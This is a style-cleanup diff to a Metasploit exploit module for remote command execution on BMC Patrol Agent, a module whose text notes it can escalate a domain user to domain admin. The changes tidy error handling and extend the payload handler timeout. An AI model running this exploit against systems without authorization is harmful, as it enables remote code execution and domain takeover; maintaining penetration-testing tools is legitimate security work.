Style police :P

modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb

@@ -144,7 +144,8 @@ class MetasploitModule < Msf::Exploit::Remote
         of the provided user is correct. This also means if the software is running on a
         domain controller, it can be used to escalate from a normal domain user to domain
         admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
-        powershell to execute the payload.
+        powershell to execute the payload. The powershell version tends to timeout on 
+        the first run so it may take multiple tries.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -189,6 +190,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def cleanup
     disconnect
+    print_status("Disconnected from BMC Patrol Agent.")
     @inflater.close
     @deflater.close
     super
@@ -196,10 +198,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def get_target_os( srv_info_msg )
     lines = srv_info_msg.split("\n")
-    if lines[0] != "MS" and lines[1] != "{" and lines[-1] != "}"
-      print_error("Invalid server info msg.")
-      return
-    end
+    fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" and lines[1] != "{" and lines[-1] != "}"
 
     os = $nil
     ver = $nil
@@ -213,23 +212,20 @@ class MetasploitModule < Msf::Exploit::Remote
         end
       end
     end
-    return [os,ver]
+    [os,ver]
   end
 
   def get_cmd_output( cmd_output_msg )
 
     lines = cmd_output_msg.split("\n")
-    if lines[0] != "PEM_MSG" and lines[1] != "{" and lines[-1] != "}"
-      print_error("Invalid command output msg.")
-      return
-    end
+    fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" and lines[1] != "{" and lines[-1] != "}"
 
     #Parse out command results
     idx_start = cmd_output_msg.index("Result\x00")
     idx_end = cmd_output_msg.index("RemPsl_user")
     output = cmd_output_msg[idx_start+7..idx_end-1]
 
-    return output
+    output
   end
 
   def exploit
@@ -243,13 +239,14 @@ class MetasploitModule < Msf::Exploit::Remote
 
       #Configure the payload handler
       payload_instance.exploit_config = {
-        'active_timeout' => 180
+        'active_timeout' => 300
       }
-      # Set up the payload handlers
+      #Setup the payload handler
       payload_instance.setup_handler
 
-      # Start the payload handler
+      #Start the payload handler
       payload_instance.start_handler
+
     end
 
     #Initialize zlib objects
@@ -263,45 +260,29 @@ class MetasploitModule < Msf::Exploit::Remote
     #Create session msg
     create_session
     ret_data = receive_msg
-    if ret_data == $nil
-      print_error("Failed to receive session confirmation. Aborting.")
-      return
-    end
-    ret_len = ret_data.length
+    fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data == $nil
 
     #Authenticate
     authenticate_user(datastore['USER'], datastore['PASSWORD'])
 
     #receive the authentication response
-    ret_data = receive_msg()
-    if ret_data == $nil
-      print_error("Failed to receive authentication response. Aborting.")
-      return
-    end
+    ret_data = receive_msg
+    fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data == $nil
 
-    ret_msg = process_response( ret_data )
+    ret_msg = process_response(ret_data)
     if ret_msg =~ /logged in/
       print_status("Successfully authenticated user.")
     else
-      print_error("Login failed. Aborting.")
-      return
+      fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
     end
 
-
     #receive the server info
-    ret_data = receive_msg()
-    if ret_data == $nil
-      print_error("Failed to receive server info msg. Aborting.")
-      return
-    end
-    srv_info = process_response( ret_data )
+    ret_data = receive_msg
+    fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data == $nil
+    srv_info = process_response(ret_data)
 
     #Get the target's OS from their info msg
     target_os = get_target_os(srv_info)
-    if target_os == $nil
-      print_error("Invalid server info msg. Aborting.")
-      return
-    end
 
     # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
     # Fail if this is the case and ask the user to select an appropriate payload.
@@ -324,27 +305,25 @@ class MetasploitModule < Msf::Exploit::Remote
     run_cmd(command)
 
     #receive command confirmation
-    ret_data = receive_msg()
+    ret_data = receive_msg
     if ret_data != $nil
-      process_response( ret_data )
+      process_response(ret_data)
     end
 
     #receive command output
-    ret_data = receive_msg()
+    ret_data = receive_msg
     if ret_data != $nil and datastore['CMD'] != $nil
       cmd_result_data = process_response( ret_data )
       cmd_result = get_cmd_output(cmd_result_data)
-      if cmd_result != $nil
       print_status( "Output:\n#{cmd_result}" )
     end
-    end
 
     #Handle the shell
     handler
 
   end
 
-  def receive_msg()
+  def receive_msg
 
     header = sock.get_once(6)
     if header == $nil
@@ -367,7 +346,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def send_msg(type, compression, data)
 
-    ret_len = 0
     data_len = data.length
     buf = [data_len].pack('N')
 
@@ -1078,7 +1056,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   def des_string_to_key( key_buf_str )
 
-    init_des()
+    init_des
     temp_key1 = Array.new(8,0)
     temp_key2 = Array.new(8,0)